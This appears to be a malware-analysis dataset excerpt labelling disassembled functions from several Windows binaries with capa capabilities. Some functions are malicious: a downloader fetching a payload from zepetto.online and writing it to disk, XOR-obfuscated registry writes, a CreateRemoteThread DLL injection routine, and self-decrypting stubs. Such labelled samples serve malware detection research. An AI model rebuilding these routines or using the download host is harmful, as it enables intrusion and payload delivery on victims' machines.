joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404250
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Reference http user-agent string
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [0x42b6d0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
xor edi, edi
push 0x3ff
lea eax, [ebp - 0x403]
push edi
push eax
mov dword [ebp - 0x40c], edi
mov dword [ebp - 0x408], edi
mov dword [ebp - 0x410], edi
mov byte [ebp - 0x404], 0
call fcn.00414650
add esp, 0xc
push edi
push edi
push edi
push edi
push str.Mozilla_5.0__Windows_NT_6.3__
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebx, eax
mov dword [ebp - 0x414], ebx
cmp ebx, edi
je 0x40437c
push esi
push edi
push 0x80000000
push edi
push edi
push str.http:__zepetto.online_angin_Golden_dll.php
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
cmp esi, edi
je 0x404374
push edi
push 0x80
push 2
push edi
push edi
push 0x40000000
push str.C:CB.CBM
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x404367
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
lea ecx, [ebp - 0x408]
push ecx
push 0x400
lea edx, [ebp - 0x404]
push edx
push esi
call ebx
test eax, eax
je 0x404350
mov eax, dword [ebp - 0x408]
test eax, eax
je 0x404350
push 0
lea ecx, [ebp - 0x410]
push ecx
push eax
lea edx, [ebp - 0x404]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [ebp - 0x408]
push eax
push 0x400
lea ecx, [ebp - 0x404]
push ecx
push esi
call ebx
test eax, eax
jne 0x404314
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [ebp - 0x414]
mov dword [ebp - 0x40c], 1
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edi, dword [ebp - 0x40c]
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop esi
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
xor ecx, ebp
pop ebx
call fcn.0040b4cd
mov esp, ebp
pop ebp
ret
Function at 0x404430
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x422f18
mov eax, dword fs:[0]
push eax
sub esp, 0x70
mov eax, dword [0x42b6d0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
mov ecx, 0x5b
xor eax, eax
mov dl, byte [eax + 0x427868]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x7c], dl
jns 0x404480
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x3e
jl 0x404463
push 0x523244
push 0xf003f
push ebx
lea eax, [ebp - 0x7c]
push eax
push 0x80000002
mov byte [ebp - 0x3e], bl
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 1
push 0x4278a8
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x2c], bl
call fcn.00401640
mov dword [ebp - 4], ebx
call fcn.00404390
mov ecx, eax
lea esi, [ecx + 1]
lea esp, [esp]
mov dl, byte [ecx]
inc ecx
cmp dl, bl
jne 0x4044d0
sub ecx, esi
push ecx
lea ecx, [ebp - 0x2c]
call fcn.00404e90
push 1
mov eax, 0x4278ac
lea ecx, [ebp - 0x2c]
call fcn.00404e90
call fcn.00404390
mov ecx, eax
lea esi, [ecx + 1]
jmp 0x404500
mov dl, byte [ecx]
inc ecx
cmp dl, bl
jne 0x404500
sub ecx, esi
push ecx
lea ecx, [ebp - 0x2c]
call fcn.00404e90
push 1
mov eax, 0x4278ac
lea ecx, [ebp - 0x2c]
call fcn.00404e90
call fcn.00404390
mov ecx, eax
lea esi, [ecx + 1]
jmp 0x404530
mov dl, byte [ecx]
inc ecx
cmp dl, bl
jne 0x404530
sub ecx, esi
push ecx
lea ecx, [ebp - 0x2c]
call fcn.00404e90
push 1
mov eax, 0x4278ac
lea ecx, [ebp - 0x2c]
call fcn.00404e90
call fcn.00404390
mov ecx, eax
lea esi, [ecx + 1]
jmp 0x404560
mov dl, byte [ecx]
inc ecx
cmp dl, bl
jne 0x404560
sub ecx, esi
push ecx
lea ecx, [ebp - 0x2c]
call fcn.00404e90
push 1
mov eax, 0x4278ac
lea ecx, [ebp - 0x2c]
call fcn.00404e90
call fcn.00404390
mov ecx, eax
lea esi, [ecx + 1]
jmp 0x404590
mov dl, byte [ecx]
inc ecx
cmp dl, bl
jne 0x404590
sub ecx, esi
push ecx
lea ecx, [ebp - 0x2c]
call fcn.00404e90
push 1
mov eax, 0x4278b0
lea ecx, [ebp - 0x2c]
call fcn.00404e90
mov ecx, 0x5b
xor eax, eax
jmp 0x4045c0
mov dl, byte [eax + 0x4278b4]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x3c], dl
jns 0x4045dd
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xd
jl 0x4045c0
mov eax, dword [ebp - 0x2c]
mov esi, 0x10
mov byte [ebp - 0x2f], bl
cmp dword [ebp - 0x18], esi
jae 0x4045f6
lea eax, [ebp - 0x2c]
mov ecx, dword [0x523244]
push 0x1f
push eax
push 1
push ebx
lea eax, [ebp - 0x3c]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [0x523244]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x18], esi
jb 0x40462b
mov eax, dword [ebp - 0x2c]
push eax
call fcn.0040be41
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040b4cd
mov esp, ebp
pop ebp
ret
Function at 0x404650
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x42b6d0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
push 0
mov esi, ecx
lea ecx, [ebp - 0x108]
push ecx
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
test eax, eax
jne 0x4046a0
push str.An_error_is_occured_when_trying_to_get_the_full_path_of_the_DLL._n
call fcn.0040d029
add esp, 4
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040b4cd
mov esp, ebp
pop ebp
ret
push edi
push esi
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
cmp edi, 0xffffffff
jne 0x4046d5
push str.An_error_is_occured_when_trying_to_open_the_target_process._n
call fcn.0040d029
add esp, 4
pop edi
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040b4cd
mov esp, ebp
pop ebp
ret
push ebx
push str._PROCESS_INJECTION__n
call fcn.0040d029
push str.Process_opened_successfully._n
call fcn.0040d029
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 8
push 0x40
push 0x3000
lea edx, [ebp - 0x108]
push edx
call ebx
inc eax
push eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test esi, esi
jne 0x404734
push str.An_error_is_occured_when_trying_to_allocate_memory_in_the_target_process._n
call fcn.0040d029
add esp, 4
pop ebx
pop edi
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040b4cd
mov esp, ebp
pop ebp
ret
push esi
push str.Memory_allocate_at_0x_X_n
call fcn.0040d029
add esp, 8
push 0
lea eax, [ebp - 0x108]
push eax
call ebx
inc eax
push eax
lea ecx, [ebp - 0x108]
push ecx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x404769
push str.An_error_is_occured_when_trying_to_write_the_DLL_path_in_the_target_process._n
jmp 0x404719
push str.DLL_path_writen_successfully._n
call fcn.0040d029
add esp, 4
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp eax, 0xffffffff
je 0x404721
test eax, eax
je 0x404721
push str.LoadLibraryA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
test ebx, ebx
jne 0x4047a6
push str.An_error_is_occured_when_trying_to_get__LoadLibraryA__address._n
jmp 0x404719
push ebx
push str.LoadLibraryA_address_at_0x_X_n
call fcn.0040d029
add esp, 8
push 0
push 0
push esi
push ebx
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
cmp eax, 0xffffffff
jne 0x4047d4
push str.An_error_is_occured_when_trying_to_create_the_thread_in_the_target_process._n
jmp 0x404719
push str.DLL_Injected___n
call fcn.0040d029
mov ecx, dword [ebp - 4]
add esp, 4
pop ebx
pop edi
xor ecx, ebp
pop esi
call fcn.0040b4cd
mov esp, ebp
pop ebp
ret
Function at 0x4071e0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x423078
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x42b6d0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [ebx + 0x44], 0
je 0x40738e
cmp byte [ebx + 0x49], 0
je 0x40738e
mov eax, dword [ebx]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
mov ecx, ebx
call edx
cmp eax, 0xffffffff
je 0x407382
mov ecx, 0xf
xor eax, eax
mov byte [ebp - 0x2c], 0
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x1c], 8
cmp ecx, 0x10
jae 0x407255
lea eax, [ebp - 0x2c]
mov byte [eax + 8], 0
mov dword [ebp - 4], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x407272
lea edx, [ebp - 0x2c]
mov eax, edx
add edx, dword [ebp - 0x1c]
mov ecx, dword [ebx + 0x44]
mov esi, dword [ecx]
lea edi, [ebp - 0x30]
push edi
push edx
push eax
lea eax, [ebx + 0x4c]
push eax
mov eax, dword [esi + 0x18]
call eax
sub eax, 0
je 0x4072a9
dec eax
je 0x4072ad
sub eax, 2
lea ecx, [ebp - 0x2c]
je 0x407389
call fcn.00401390
xor al, al
jmp 0x407390
mov byte [ebx + 0x49], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x4072bd
lea edx, [ebp - 0x2c]
mov esi, dword [ebp - 0x30]
sub esi, edx
je 0x4072ea
cmp edi, 0x10
jae 0x4072cc
lea eax, [ebp - 0x2c]
mov ecx, dword [ebx + 0x54]
push ecx
push esi
push 1
push eax
call fcn.0040d559
add esp, 0x10
cmp esi, eax
jne 0x40737a
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp byte [ebx + 0x49], 0
je 0x407386
test esi, esi
jne 0x407266
mov ecx, dword [ebp - 0x1c]
or edx, 0xffffffff
sub edx, ecx
cmp edx, 8
jbe 0x4073ab
lea esi, [ecx + 8]
cmp esi, 0xfffffffe
ja 0x4073ab
cmp edi, esi
jae 0x407363
push ecx
push esi
lea ecx, [ebp - 0x2c]
call fcn.00401830
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
test esi, esi
je 0x407266
mov ecx, eax
cmp edi, 0x10
jae 0x40733f
lea ecx, [ebp - 0x2c]
mov edx, dword [ebp - 0x1c]
xor eax, eax
mov dword [ecx + edx], eax
mov dword [ecx + edx + 4], eax
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], esi
jae 0x40735a
lea eax, [ebp - 0x2c]
mov byte [eax + esi], 0
jmp 0x407260
test esi, esi
jne 0x407335
mov dword [ebp - 0x1c], esi
cmp edi, 0x10
jae 0x407372
lea eax, [ebp - 0x2c]
mov byte [eax], 0
jmp 0x407260
lea ecx, [ebp - 0x2c]
call fcn.00401390
xor al, al
jmp 0x407390
lea ecx, [ebp - 0x2c]
call fcn.00401390
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040b4cd
mov esp, ebp
pop ebp
ret
push str.string_too_long
call fcn.0040a9e8
int3
Function at 0x4076a0
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x422d1b
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x42b6d0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
lea ecx, [esi + 4]
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.0040b039
push 4
mov dword [ebp - 4], 0
call fcn.0040be9d
mov edi, eax
add esp, 4
test edi, edi
je 0x40771c
call fcn.0040af11
mov dword [edi], eax
call fcn.0040acd0
push 0
lea ecx, [ebp - 0x10]
mov ebx, eax
call fcn.0040affa
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x407712
inc eax
mov dword [ebx + 4], eax
lea ecx, [ebp - 0x10]
call fcn.0040b022
jmp 0x40771e
xor edi, edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi + 0x38], edi
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x4092e0
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4230e8
mov eax, dword fs:[0]
push eax
sub esp, 0x74
mov eax, dword [0x42b6d0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor eax, eax
mov ebx, ecx
mov dword [ebp - 0x80], eax
mov dword [ebp - 4], eax
cmp dword [ebp + 0x1c], 0x10
mov byte [ebp - 0x7c], al
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x30], 0x67452301
mov dword [ebp - 0x2c], 0xefcdab89
mov dword [ebp - 0x28], 0x98badcfe
mov dword [ebp - 0x24], 0x10325476
jae 0x409345
lea eax, [ebp + 8]
push eax
mov eax, dword [ebp + 0x18]
lea esi, [ebp - 0x7c]
call fcn.004090a0
mov ecx, esi
call fcn.00409150
mov eax, esi
push eax
call fcn.00409230
cmp dword [ebp + 0x1c], 0x10
jb 0x409372
mov ecx, dword [ebp + 8]
push ecx
call fcn.0040be41
add esp, 4
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040b4cd
mov esp, ebp
pop ebp
ret

Function at 0x40b4cd
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42b6d0]
jne 0x40b4d7
repz ret
jmp fcn.0041112c
Function at 0x415d4c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x415d73
call fcn.0040e2fb
mov dword [eax], esi
call fcn.0040e2e8
push 0x16
pop esi
mov dword [eax], esi
call fcn.0041350c
mov eax, esi
jmp 0x415dc8
test dword [ebp + 0xc], 0xfffffff9
jne 0x415d59
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x415da0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0040e30e
pop ecx
call fcn.0040e2e8
mov eax, dword [eax]
jmp 0x415dc8
test al, 0x10
jne 0x415dc6
test al, 1
je 0x415dc6
test byte [ebp + 0xc], 2
je 0x415dc6
call fcn.0040e2fb
mov dword [eax], 5
call fcn.0040e2e8
mov dword [eax], 0xd
jmp 0x415d97
xor eax, eax
pop esi
pop ebp
ret

Function at 0x416fa8
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42b6d0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00411dc1
and dword [ebp - 0x14], 0
cmp dword [0x42d9b0], 0
mov dword [ebp - 0x18], eax
jne 0x41705b
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x417103
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x417103
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x42d9b0], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x42d9b4], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x42d9b8], eax
call edi
push eax
call esi
mov dword [0x42d9c0], eax
test eax, eax
je 0x41705b
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x42d9bc], eax
mov eax, dword [0x42d9bc]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x4170b4
cmp dword [0x42d9c0], ecx
je 0x4170b4
push eax
call esi
push dword [0x42d9c0]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4170b4
test ebx, ebx
je 0x4170b4
call edi
test eax, eax
je 0x4170ab
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4170ab
test byte [ebp - 8], 1
jne 0x4170b4
or dword [ebp + 0x10], 0x200000
jmp 0x4170e7
mov eax, dword [0x42d9b4]
cmp eax, dword [ebp - 0x18]
je 0x4170e7
push eax
call esi
test eax, eax
je 0x4170e7
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4170e7
mov eax, dword [0x42d9b8]
cmp eax, dword [ebp - 0x18]
je 0x4170e7
push eax
call esi
test eax, eax
je 0x4170e7
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x42d9b0]
call esi
test eax, eax
je 0x417103
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x417105
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040b4cd
leave
ret
Function at 0xc36170
Capabilities:
Access peb ldr_data
Get process heap flags
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0xc9126c
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push ebx
push esi
push edi
mov eax, dword [0xca80c0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], 0
mov dword [ebx], 0xca35f4
mov dword [ebx + 0x70], 0
mov dword [ebx + 0x74], 0
mov dword [ebx + 0x78], 0
mov dword [ebx + 0x7c], 0
mov dword [ebx + 0x80], 0
mov dword [ebx + 0x84], 0
mov dword [ebx + 0x88], 0
mov dword [ebx + 0x8c], 0
mov dword [ebx + 0x90], 0
mov dword [ebx + 0x94], 0
mov dword [ebx + 0x98], 0
mov dword [ebx + 0x68], 0xc9aee4
mov dword [ebx + 0xa0], 0
mov dword [ebx + 0xa4], 0
mov byte [ebx + 0xa8], 0
push 0
push 0
lea esi, [ebx + 4]
mov dword [ebp - 4], 0
push esi
mov dword [ebp - 0x18], 1
call fcn.00c37bb0
mov dword [ebp - 4], 1
lea edi, [esi + 0x28]
mov eax, dword [ebx]
mov dword [ebp - 0x14], esi
push 8
mov eax, dword [eax + 4]
mov dword [ebx + eax], 0xca35f0
mov eax, dword [ebx]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ecx + ebx - 4], eax
lea eax, [esi + 4]
mov dword [esi], 0xc9aef4
mov dword [ebp - 0x14], eax
mov dword [eax], 0
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [edi], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0x30], 0
call fcn.00c6a801
mov esi, eax
xorps xmm0, xmm0
movq qword [esi], xmm0
push 1
mov byte [ebp - 4], 2
call fcn.00c68297
mov ecx, ebx
mov dword [esi + 4], eax
add esp, 8
mov dword [ecx + 0x38], esi
lea ecx, [ecx + 4]
call fcn.00c38800
mov eax, ebx
lea esi, [eax + 8]
mov dword [eax + 4], 0xc9af34
mov dword [eax + 0x10], esi
lea edx, [eax + 0xc]
mov esi, ebx
mov byte [eax + 0x4c], 0
lea ecx, [eax + 0x18]
mov byte [eax + 0x41], 0
mov dword [eax + 0x14], edx
mov dword [eax + 0x20], ecx
lea eax, [esi + 0x1c]
mov dword [esi + 0x24], eax
lea ebx, [esi + 0x28]
mov dword [esi + 0x30], ebx
mov dword [esi + 0x34], edi
mov esi, dword [ebp - 0x14]
mov dword [edx], 0
mov dword [eax], 0
mov dword [edi], 0
mov dword [esi], 0
mov dword [ecx], 0
mov dword [ebx], 0
mov ebx, dword [ebp - 0x10]
mov eax, ebx
mov dword [ebx + 0x50], 0
mov ecx, dword [0xcaa220]
mov edx, dword [0xcaa224]
mov dword [ebx + 0x44], ecx
mov dword [ebx + 0x48], edx
mov dword [ebx + 0x3c], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0xf35968
Capabilities:
Encode data using xor

Disassembly:
jmp 0xf35972
pushal
call 0xf35978
pop ebp
sub ebp, 0x10
sub ebp, 0xb35968
jmp 0xf3598e
mov eax, 0xb35968
add eax, ebp
add eax, 0x4c
mov ecx, 0x5c3
mov edx, 0xb2ace6f5
xor byte [eax], dl
inc eax
dec ecx
jne 0xf359a5
jmp 0xf359b8
jle 0xf359f2
jle 0xf35a38
leave
cmc
cmc
cmc
je 0xf359f6
or eax, 0xf6f5f5f5
cmp byte [ebp - 0xf], cl
cmc
cmc
cmc
dec edi
invalid
daa
aad 0x66
cmc
hlt
popal
int 0xd5
cmc
popfd
daa
aad 0x66
cmc
hlt

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x4014c0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x10
mov eax, dword [0x404038]
test eax, eax
jne 0x4014fe
mov eax, dword fs:[0x18]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x30]
push 0x1fffe
push 0
push dword [eax + 0x18]
call dword [sym.imp.kernel32.dll_HeapAlloc]
mov dword [0x404038], eax
test eax, eax
je 0x401648
mov edi, dword [ebp + 8]
lea ecx, [ebp + 0xc]
mov dword [ebp - 0x1c], ecx
lea ecx, [ebp - 0x1c]
push ecx
push 0x7fff
push eax
push 0
push 0
push edi
push 0x400
call dword [sym.imp.kernel32.dll_FormatMessageW]
mov esi, eax
test eax, eax
jne 0x401540
mov eax, dword fs:[0x18]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
cmp dword [eax + 0x34], 0xeb
jne 0x401675
cmp byte [0x404040], 0
jne 0x40156e
mov edi, dword [0x404038]
push 0xfffffffffffffff5
call dword [sym.imp.kernel32.dll_GetStdHandle]
lea ecx, [ebp - 0x18]
push 0
push ecx
push esi
push edi
push eax
call dword [sym.imp.kernel32.dll_WriteConsoleW]
test eax, eax
jne 0x4015f9
mov dword [ebp - 0x14], 0
mov byte [0x404040], 1
mov edi, dword [0x40403c]
test edi, edi
jne 0x4015b4
mov eax, dword fs:[0x18]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x30]
push 0xffff
push 0
push dword [eax + 0x18]
call dword [sym.imp.kernel32.dll_HeapAlloc]
mov edi, eax
mov dword [0x40403c], eax
test eax, eax
je 0x401648
mov ebx, dword [0x404038]
call dword [sym.imp.kernel32.dll_GetOEMCP]
lea ecx, [ebp - 0x14]
push ecx
push 0x403222
push 0xffff
push edi
push esi
push ebx
push 0
push eax
call dword [sym.imp.kernel32.dll_WideCharToMultiByte]
mov esi, eax
mov edi, dword [0x40403c]
push 0xfffffffffffffff5
call dword [sym.imp.kernel32.dll_GetStdHandle]
lea ecx, [ebp - 0x18]
push 0
push ecx
push esi
push edi
push eax
call dword [sym.imp.kernel32.dll_WriteFile]
cmp byte [0x404044], 0
jne 0x4016c0
test byte [section..data], 8
je 0x40163f
movzx eax, byte [0x404040]
xor eax, 1
sub esp, 0x14
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], str.Writing_to_console____d__n
mov dword [esp + 8], str.ATTRIB_wprintf
mov dword [esp], 3
call sym._wine_dbg_log
add esp, 0x14
mov byte [0x404044], 1
jmp 0x4016c0
test byte [section..data], 1
je 0x4016c0
sub esp, 0x10
mov dword [esp + 0xc], str.Out_of_memory___could_not_allocate_2_x_64_KB_buffers_n
mov dword [esp + 8], str.ATTRIB_wprintf
mov dword [esp], 0
call sym._wine_dbg_log
add esp, 0x10
jmp 0x4016c0
test byte [section..data], 1
je 0x4016c0
mov ecx, edi
call sym._wine_dbgstr_wn
mov ecx, eax
mov eax, dword fs:[0x18]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x34]
sub esp, 0x18
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], str.Could_not_format_string:_le_lu__fmt_s_n
mov dword [esp + 8], str.ATTRIB_wprintf
mov dword [esp], 0
call sym._wine_dbg_log
add esp, 0x18
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x401ff0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push eax
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.ucrtbase.dll_strlen]
add esp, 4
test eax, eax
je 0x402042
mov esi, eax
xor eax, eax
cmp byte [esi + edi - 1], 0xa
je 0x402021
mov eax, dword fs:[0x18]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x24]
xchg dword [0x4080dc], eax
push 2
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
add esp, 4
push eax
push esi
push 1
push edi
call dword [sym.imp.ucrtbase.dll_fwrite]
add esp, 0x10
jmp 0x402044
xor eax, eax
add esp, 4
pop esi
pop edi
pop ebp
ret
Function at 0x402820
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
push 1
call sym.__configure_wide_argv
add esp, 4
call sym.__initialize_wide_environment
call sym.___p___argc
mov edi, dword [eax]
call sym.___p___wargv
mov ebx, dword [eax]
call sym.__get_initial_wide_environment
mov esi, eax
call sym._get_nt_header
xor ecx, ecx
cmp word [eax + 0x5c], 2
sete cl
inc ecx
push ecx
call sym.__set_app_type
add esp, 4
push esi
push ebx
push edi
call sym._wmain
add esp, 0xc
push eax
call sym._exit
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop